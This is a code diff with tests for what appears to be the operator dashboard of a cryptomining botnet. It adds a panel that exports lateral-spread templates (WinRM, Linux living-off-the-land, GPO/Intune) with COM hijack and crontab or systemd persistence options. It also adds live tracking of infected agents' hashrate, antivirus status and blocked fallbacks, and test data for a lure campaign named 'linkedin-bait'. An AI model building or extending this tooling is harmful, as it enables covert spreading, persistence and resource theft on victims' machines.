buildId?: string;
|
||||
campaign?: string;
|
||||
}
|
||||
|
||||
export default function SpreadTemplateExportPanel({
|
||||
serverBase,
|
||||
buildId = '',
|
||||
campaign = '',
|
||||
}: SpreadTemplateExportPanelProps) {
|
||||
const [template, setTemplate] = useState<SpreadTemplateId>('winrm');
|
||||
const [comHijack, setComHijack] = useState(false);
|
||||
const [lotlMode, setLotlMode] = useState('systemd_run_user');
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [err, setErr] = useState('');
|
||||
|
||||
const meta = SPREAD_TEMPLATES.find((t) => t.id === template);
|
||||
|
||||
const onExport = async () => {
|
||||
setErr('');
|
||||
setBusy(true);
|
||||
try {
|
||||
await api.exportSpreadTemplate({
|
||||
template,
|
||||
server_url: serverBase,
|
||||
build_id: buildId.trim(),
|
||||
campaign: campaign.trim(),
|
||||
com_hijack: comHijack,
|
||||
lotl_mode: lotlMode,
|
||||
});
|
||||
} catch (e) {
|
||||
setErr(e instanceof Error ? e.message : String(e));
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="crucible-spread-templates" style={{ marginTop: '0.75rem' }}>
|
||||
<p className="crucible-seek-blurb" style={{ marginBottom: '0.5rem' }}>
|
||||
Export spread templates (WinRM, Linux LOTL, GPO/Intune). Mining policy stays on the command deck.
|
||||
{meta ? (
|
||||
<>
|
||||
{' '}
|
||||
<a href={spreadTechniqueDocUrl(meta.docAnchor)} target="_blank" rel="noreferrer">
|
||||
Playbook
|
||||
</a>
|
||||
</>
|
||||
) : null}
|
||||
</p>
|
||||
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.5rem', alignItems: 'center' }}>
|
||||
<select
|
||||
className="crucible-inline-input"
|
||||
value={template}
|
||||
onChange={(e) => setTemplate(e.target.value as SpreadTemplateId)}
|
||||
aria-label="Spread template"
|
||||
>
|
||||
{SPREAD_TEMPLATES.map((t) => (
|
||||
<option key={t.id} value={t.id}>
|
||||
{t.label}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
{template === 'winrm' ? (
|
||||
<label style={{ display: 'inline-flex', alignItems: 'center', gap: '0.35rem', fontSize: '0.85rem' }}>
|
||||
<input type="checkbox" checked={comHijack} onChange={(e) => setComHijack(e.target.checked)} />
|
||||
COM hijack (owned only)
|
||||
</label>
|
||||
) : null}
|
||||
{template === 'linux-lotl' ? (
|
||||
<select
|
||||
className="crucible-inline-input"
|
||||
value={lotlMode}
|
||||
onChange={(e) => setLotlMode(e.target.value)}
|
||||
aria-label="LOTL persistence"
|
||||
>
|
||||
<option value="systemd_run_user">systemd-run --user</option>
|
||||
<option value="crontab">crontab @reboot</option>
|
||||
<option value="both">both</option>
|
||||
<option value="off">run once only</option>
|
||||
</select>
|
||||
) : null}
|
||||
<button type="button" className="button crucible-op-btn" disabled={busy || !serverBase.trim()} onClick={() => void onExport()}>
|
||||
{busy ? 'Exporting…' : `Export ${spreadTemplateZipName(template)}`}
|
||||
</button>
|
||||
</div>
|
||||
{err ? <p className="form-error" style={{ marginTop: '0.35rem' }}>{err}</p> : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -32,7 +32,6 @@ function operatorDeckId(pathname: string): string {
|
||||
if (path.startsWith('/forge') || path.startsWith('/builder')) return 'forge';
|
||||
if (path.startsWith('/crucible')) return 'crucible';
|
||||
if (path.startsWith('/emberwake') || path.startsWith('/spread')) return 'emberwake';
|
||||
if (path.startsWith('/agents')) return 'fleet';
|
||||
if (path.startsWith('/builds')) return 'builds';
|
||||
if (path.startsWith('/settings')) return 'settings';
|
||||
if (path.startsWith('/pathtracer')) return 'pathtracer';
|
||||
@@ -41,7 +40,6 @@ function operatorDeckId(pathname: string): string {
|
||||
|
||||
const NAV = [
|
||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
|
||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
|
||||
{ to: '/forge', label: 'Forge', icon: 'forge' },
|
||||
@@ -53,7 +51,7 @@ const NAV = [
|
||||
|
||||
const DOCS_HREF = '/docs/';
|
||||
|
||||
/** Primary tabs on mobile bottom bar — Deck, Fleet, Crucible, Path Tracer, Forge */
|
||||
/** Primary tabs on mobile bottom bar — Deck, Crucible, Path Tracer, Forge, Mission Deck */
|
||||
const MOBILE_PRIMARY = NAV.slice(0, 5);
|
||||
/** Mission Deck, Builds, Emberwake, Calibrate — “More” sheet */
|
||||
const MOBILE_MORE = NAV.slice(5);
|
||||
@@ -257,7 +255,6 @@ export default function Layout({ children }: LayoutProps) {
|
||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||
const mobileShortLabel: Record<string, string> = {
|
||||
'/dashboard': 'Deck',
|
||||
'/agents': 'Fleet',
|
||||
'/crucible': 'Ops',
|
||||
'/pathtracer': 'Tracer',
|
||||
'/forge': 'Forge',
|
||||
|
||||
@@ -27,6 +27,8 @@ function LaserPulse({ start, end, color }: { start: [number, number, number], en
|
||||
}
|
||||
|
||||
const STALE_THRESHOLD_MS = 5 * 60 * 1000;
|
||||
/** Cap 3D nodes to keep WebGL performant on large fleets. */
|
||||
const TOPOLOGY_NODE_CAP = 200;
|
||||
|
||||
function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) {
|
||||
const isOnline = agent.status === 'online';
|
||||
@@ -82,9 +84,16 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
|
||||
|
||||
export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
const serverPos: [number, number, number] = [0, 0, 0];
|
||||
const displayAgents = useMemo(() => {
|
||||
if (agents.length <= TOPOLOGY_NODE_CAP) return agents;
|
||||
const online = agents.filter((a) => a.status === 'online');
|
||||
const pool = online.length >= TOPOLOGY_NODE_CAP ? online : agents;
|
||||
return pool.slice(0, TOPOLOGY_NODE_CAP);
|
||||
}, [agents]);
|
||||
const capped = agents.length > TOPOLOGY_NODE_CAP;
|
||||
|
||||
const agentNodes = useMemo(() => {
|
||||
return agents.map((agent, i) => {
|
||||
return displayAgents.map((agent, i) => {
|
||||
const goldenRatio = (1 + Math.sqrt(5)) / 2;
|
||||
const angle = i * Math.PI * 2 * goldenRatio;
|
||||
// Distribute in a spherical/cylindrical rough cluster
|
||||
@@ -94,13 +103,14 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
const y = (Math.random() - 0.5) * 6;
|
||||
return { agent, position: [x, y, z] as [number, number, number] };
|
||||
});
|
||||
}, [agents]);
|
||||
}, [displayAgents]);
|
||||
|
||||
return (
|
||||
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 245, 255, 0.1)' }}>
|
||||
<div style={{ position: 'absolute', top: 15, left: 15, zIndex: 10, color: 'var(--neon-cyan)', fontFamily: 'monospace', textShadow: '0 0 5px var(--neon-cyan)' }}>
|
||||
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }}></span>
|
||||
3D_MESH_TOPOLOGY // {agents.filter(a => a.status === 'online').length} NODES LINKED
|
||||
3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED
|
||||
{capped && ` (showing ${TOPOLOGY_NODE_CAP}/${agents.length})`}
|
||||
</div>
|
||||
<Canvas camera={{ position: [0, 8, 14], fov: 50 }}>
|
||||
<color attach="background" args={['#050508']} />
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { useEffect, useState, type CSSProperties } from 'react';
|
||||
import type { WarRoomCampaign } from '../../types';
|
||||
import type { Agent, WarRoomCampaign } from '../../types';
|
||||
import {
|
||||
detectFunnelLeaks,
|
||||
formatHashrate,
|
||||
@@ -9,6 +9,8 @@ import {
|
||||
sparklineMax,
|
||||
staggerDelayMs,
|
||||
} from '../../help/warRoom';
|
||||
import { hashHeatIntensity, lotlTierLabel } from '../../help/warRoomTelemetry';
|
||||
import JoinLaneBadge from '../Fleet/JoinLaneBadge';
|
||||
import WarRoomOdometer from './WarRoomOdometer';
|
||||
|
||||
interface WarRoomFunnelBoardProps {
|
||||
@@ -16,9 +18,18 @@ interface WarRoomFunnelBoardProps {
|
||||
days: number;
|
||||
refreshKey?: string;
|
||||
highlightCampaign?: string | null;
|
||||
campaignAgents?: Record<string, Agent[]>;
|
||||
maxLiveHashrate?: number;
|
||||
}
|
||||
|
||||
export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highlightCampaign }: WarRoomFunnelBoardProps) {
|
||||
export default function WarRoomFunnelBoard({
|
||||
campaigns,
|
||||
days,
|
||||
refreshKey,
|
||||
highlightCampaign,
|
||||
campaignAgents = {},
|
||||
maxLiveHashrate = 0,
|
||||
}: WarRoomFunnelBoardProps) {
|
||||
const [alive, setAlive] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -39,14 +50,24 @@ export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highli
|
||||
const primaryLeak = leaks[0];
|
||||
const max = sparklineMax(c.daily_hits);
|
||||
const hits = c.hits ?? 0;
|
||||
const heat = hashHeatIntensity(c.hashrate ?? 0, maxLiveHashrate || c.hashrate || 0);
|
||||
const agents = campaignAgents[c.campaign] ?? [];
|
||||
const onlineAgents = agents.filter((a) => a.status === 'online');
|
||||
|
||||
return (
|
||||
<article
|
||||
key={c.campaign}
|
||||
id={`war-room-campaign-${c.campaign}`}
|
||||
className={`war-room-funnel-card${highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''}`}
|
||||
className={`war-room-funnel-card${
|
||||
highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''
|
||||
}${heat > 0 ? ' war-room-funnel-card--heat' : ''}`}
|
||||
role="listitem"
|
||||
style={{ '--card-stagger': `${cardIndex * 0.12}s` } as CSSProperties}
|
||||
style={
|
||||
{
|
||||
'--card-stagger': `${cardIndex * 0.12}s`,
|
||||
'--hash-heat': heat,
|
||||
} as CSSProperties
|
||||
}
|
||||
>
|
||||
<header className="war-room-funnel-card-head">
|
||||
<div>
|
||||
@@ -77,6 +98,23 @@ export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highli
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{onlineAgents.length > 0 ? (
|
||||
<div className="war-room-agent-tags" aria-label="Live campaign agents">
|
||||
{onlineAgents.slice(0, 8).map((a) => {
|
||||
const tier = lotlTierLabel(a.lotl_tier);
|
||||
return (
|
||||
<span key={a.id} className="war-room-agent-tag" title={a.name}>
|
||||
<span className="war-room-agent-tag-name">{a.name}</span>
|
||||
{tier ? <span className="war-room-lotl-badge">{tier}</span> : null}
|
||||
{a.join_lane ? (
|
||||
<JoinLaneBadge lane={a.join_lane} className="war-room-join-lane-badge" />
|
||||
) : null}
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
<div className="war-room-funnel-pipeline" aria-label="Campaign funnel">
|
||||
{stages.map((stage, idx) => (
|
||||
<div key={stage.id} className="war-room-funnel-stage">
|
||||
|
||||
@@ -456,6 +456,46 @@ describe('AgentRemoteActions', () => {
|
||||
});
|
||||
expect(screen.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
|
||||
});
|
||||
|
||||
it('shows LOTL tier badge in target header when lotl_tier is set', async () => {
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<AgentRemoteActions
|
||||
agent={mockAgent({ id: 'lotl-1', name: 'Tier Node', status: 'online', lotl_tier: 'container' })}
|
||||
online
|
||||
/>
|
||||
</MemoryRouter>,
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('LOTL Container')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
it('shows mining method in live stats when active_method is set', async () => {
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<AgentRemoteActions
|
||||
agent={mockAgent({
|
||||
id: 'mine-1',
|
||||
name: 'Miner Node',
|
||||
status: 'online',
|
||||
hashrate_15s: 500,
|
||||
cpu_usage_pct: 40,
|
||||
memory_usage_pct: 30,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: true,
|
||||
failed_methods: [{ method: 'container', reason: 'AV blocked', at: '2026-06-06T12:00:00Z' }],
|
||||
})}
|
||||
online
|
||||
showLiveStats
|
||||
/>
|
||||
</MemoryRouter>
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText(/Mining inprocess\+stratum/i)).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText(/Fallback container failed/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
describe('AgentListItem', () => {
|
||||
@@ -881,6 +921,6 @@ describe('Layout', () => {
|
||||
expect(screen.getByText('page body')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /Fleet Roster/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -232,4 +232,108 @@ describe('WebSocketProvider', () => {
|
||||
unmount();
|
||||
expect(closeSpy).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('applies stats_batch mining fields to agents', async () => {
|
||||
const agent = mockAgent({ id: 'batch-1', active_method: undefined });
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
|
||||
latestSocket().emitMessage({
|
||||
type: 'stats_batch',
|
||||
payload: {
|
||||
updates: [
|
||||
{
|
||||
agent_id: 'batch-1',
|
||||
hashrate_15s: 250,
|
||||
hashrate_1m: 240,
|
||||
hashrate_15m: 230,
|
||||
cpu_usage_pct: 55,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: true,
|
||||
chain_exhausted: false,
|
||||
mining_hashrate: 850,
|
||||
lotl_tier: 'tier-2',
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
expect(result.current.agents[0].hashrate_15s).toBe(250);
|
||||
expect(result.current.agents[0].active_method).toBe('inprocess');
|
||||
expect(result.current.agents[0].stratum_overlay).toBe(true);
|
||||
expect(result.current.agents[0].mining_hashrate).toBe(850);
|
||||
expect(result.current.agents[0].lotl_tier).toBe('tier-2');
|
||||
});
|
||||
|
||||
it('applies stats_batch lotl_attempts to agents', async () => {
|
||||
const agent = mockAgent({ id: 'batch-lotl' });
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
|
||||
latestSocket().emitMessage({
|
||||
type: 'stats_batch',
|
||||
payload: {
|
||||
updates: [
|
||||
{
|
||||
agent_id: 'batch-lotl',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
lotl_tier: 'cpu_inprocess',
|
||||
lotl_attempts: [
|
||||
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 600 },
|
||||
{ tier: 'cpu_inprocess', ok: true, duration_ms: 1100 },
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
expect(result.current.agents[0].lotl_tier).toBe('cpu_inprocess');
|
||||
expect(result.current.agents[0].lotl_attempts).toHaveLength(2);
|
||||
expect(result.current.agents[0].lotl_attempts?.[1].ok).toBe(true);
|
||||
});
|
||||
|
||||
it('applies emberwake_war_room WS payload', async () => {
|
||||
const warRoomPayload = {
|
||||
generated_at: '2026-06-06T15:00:00.000Z',
|
||||
days: 7,
|
||||
campaigns: [
|
||||
{
|
||||
campaign: 'linkedin-bait',
|
||||
hits: 42,
|
||||
downloads: 10,
|
||||
agents: 3,
|
||||
online: 2,
|
||||
hashrate: 1500,
|
||||
conversion_pct: 7.1,
|
||||
daily_hits: [1, 2, 3, 4, 5, 6, 7],
|
||||
},
|
||||
],
|
||||
};
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({
|
||||
type: 'emberwake_war_room',
|
||||
payload: warRoomPayload,
|
||||
});
|
||||
});
|
||||
|
||||
expect(result.current.latestMessage?.type).toBe('emberwake_war_room');
|
||||
expect(result.current.latestMessage?.payload).toEqual(warRoomPayload);
|
||||
expect(result.current.latestMessage?.payload.campaigns[0].campaign).toBe('linkedin-bait');
|
||||
expect(result.current.latestMessage?.payload.campaigns[0].hits).toBe(42);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
import React, { useEffect, useRef, useCallback, useState, useMemo } from 'react';
|
||||
import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
|
||||
import { WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
|
||||
import { applyStatsUpdates } from '../help/applyStatsUpdate';
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
WSStatsUpdate,
|
||||
WSStatsBatch,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
WSPolicyAck,
|
||||
@@ -172,64 +174,14 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) => {
|
||||
const idx = prev.findIndex((a) => a.id === update.agent_id);
|
||||
if (idx < 0) return prev;
|
||||
if (agentStatsUnchanged(prev[idx], update)) return prev;
|
||||
return prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
? {
|
||||
...a,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? a.shares_total,
|
||||
shares_good: update.shares_accepted ?? a.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
|
||||
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
|
||||
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
|
||||
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
|
||||
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
|
||||
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
|
||||
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
|
||||
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
|
||||
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
|
||||
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
|
||||
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
||||
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
||||
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
||||
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
|
||||
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
|
||||
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
|
||||
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
|
||||
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
|
||||
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
|
||||
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
|
||||
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
|
||||
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
|
||||
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
|
||||
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
|
||||
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
|
||||
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
|
||||
...(update.services !== undefined ? { services: update.services } : {}),
|
||||
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
|
||||
}
|
||||
: a,
|
||||
);
|
||||
});
|
||||
setAgents((prev) => applyStatsUpdates(prev, [update]));
|
||||
break;
|
||||
}
|
||||
case 'stats_batch': {
|
||||
const batch = msg.payload as WSStatsBatch;
|
||||
if (Array.isArray(batch?.updates) && batch.updates.length > 0) {
|
||||
setAgents((prev) => applyStatsUpdates(prev, batch.updates));
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'new_share': {
|
||||
|
||||
133
server/web/src/help/applyStatsUpdate.test.ts
Normal file
133
server/web/src/help/applyStatsUpdate.test.ts
Normal file
@@ -0,0 +1,133 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import type { Agent } from '../types';
|
||||
import { applyStatsUpdates } from './applyStatsUpdate';
|
||||
|
||||
const baseAgent = (): Agent => ({
|
||||
id: 'a1',
|
||||
name: 'node',
|
||||
wallet: '',
|
||||
ip: '10.0.0.1',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: new Date().toISOString(),
|
||||
created_at: new Date().toISOString(),
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 10,
|
||||
memory_usage_pct: 20,
|
||||
uptime_seconds: 60,
|
||||
});
|
||||
|
||||
describe('applyStatsUpdates', () => {
|
||||
it('applies batch updates in one pass', () => {
|
||||
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', hashrate_15m: 50 }];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{ agent_id: 'a1', hashrate_15s: 200, hashrate_1m: 200, hashrate_15m: 200, cpu_usage_pct: 15 },
|
||||
{ agent_id: 'a2', hashrate_15s: 80, hashrate_1m: 80, hashrate_15m: 80, cpu_usage_pct: 5 },
|
||||
]);
|
||||
expect(next[0].hashrate_15m).toBe(200);
|
||||
expect(next[1].hashrate_15m).toBe(80);
|
||||
});
|
||||
|
||||
it('returns same reference when nothing changed', () => {
|
||||
const agents = [baseAgent()];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10 },
|
||||
]);
|
||||
expect(next).toBe(agents);
|
||||
});
|
||||
|
||||
it('merges mining cascade fields from stats_batch updates', () => {
|
||||
const agents = [baseAgent()];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'a1',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: true,
|
||||
chain_exhausted: false,
|
||||
chain_order: ['container', 'inprocess', 'stratum_direct'],
|
||||
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
|
||||
last_error: 'container start blocked',
|
||||
},
|
||||
]);
|
||||
expect(next[0].active_method).toBe('inprocess');
|
||||
expect(next[0].stratum_overlay).toBe(true);
|
||||
expect(next[0].chain_order).toEqual(['container', 'inprocess', 'stratum_direct']);
|
||||
expect(next[0].failed_methods).toHaveLength(1);
|
||||
expect(next[0].last_error).toBe('container start blocked');
|
||||
});
|
||||
|
||||
it('applies batch mining updates for multiple agents', () => {
|
||||
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', name: 'node-b' }];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10, active_method: 'container' },
|
||||
{ agent_id: 'a2', hashrate_15s: 50, hashrate_1m: 50, hashrate_15m: 50, cpu_usage_pct: 5, chain_exhausted: true },
|
||||
]);
|
||||
expect(next[0].active_method).toBe('container');
|
||||
expect(next[1].chain_exhausted).toBe(true);
|
||||
});
|
||||
|
||||
it('merges vuln_findings and vuln_risk_score from stats_batch', () => {
|
||||
const agents = [{ ...baseAgent(), id: 'v1', name: 'Vuln Node' }];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'v1',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
cpu_usage_pct: 0,
|
||||
vuln_risk_score: 42,
|
||||
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
|
||||
},
|
||||
]);
|
||||
expect(next[0].vuln_risk_score).toBe(42);
|
||||
expect(next[0].vuln_findings?.[0].cve_id).toBe('CVE-2021-26855');
|
||||
});
|
||||
|
||||
it('merges mining_hashrate and lotl_tier from stats_batch', () => {
|
||||
const agents = [baseAgent()];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'a1',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
mining_hashrate: 850,
|
||||
lotl_tier: 'tier-1',
|
||||
},
|
||||
]);
|
||||
expect(next[0].mining_hashrate).toBe(850);
|
||||
expect(next[0].lotl_tier).toBe('tier-1');
|
||||
});
|
||||
|
||||
it('merges lotl_attempts from stats_batch', () => {
|
||||
const agents = [baseAgent()];
|
||||
const attempts = [
|
||||
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 400 },
|
||||
{ tier: 'cpu_inprocess', ok: true, duration_ms: 900 },
|
||||
];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'a1',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
lotl_tier: 'cpu_inprocess',
|
||||
lotl_attempts: attempts,
|
||||
},
|
||||
]);
|
||||
expect(next[0].lotl_attempts).toEqual(attempts);
|
||||
});
|
||||
});
|
||||
82
server/web/src/help/applyStatsUpdate.ts
Normal file
82
server/web/src/help/applyStatsUpdate.ts
Normal file
@@ -0,0 +1,82 @@
|
||||
import type { Agent } from '../types';
|
||||
import type { WSStatsUpdate } from '../types/ws';
|
||||
import { agentStatsUnchanged } from './wsStatsCoalesce';
|
||||
|
||||
/** Merge one stats_update payload into an agent row. */
|
||||
export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
|
||||
return {
|
||||
...agent,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? agent.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? agent.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? agent.shares_total,
|
||||
shares_good: update.shares_accepted ?? agent.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? agent.shares_total) -
|
||||
(update.shares_accepted ?? agent.shares_good),
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
|
||||
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
|
||||
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
|
||||
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
|
||||
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
|
||||
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
|
||||
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
|
||||
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
|
||||
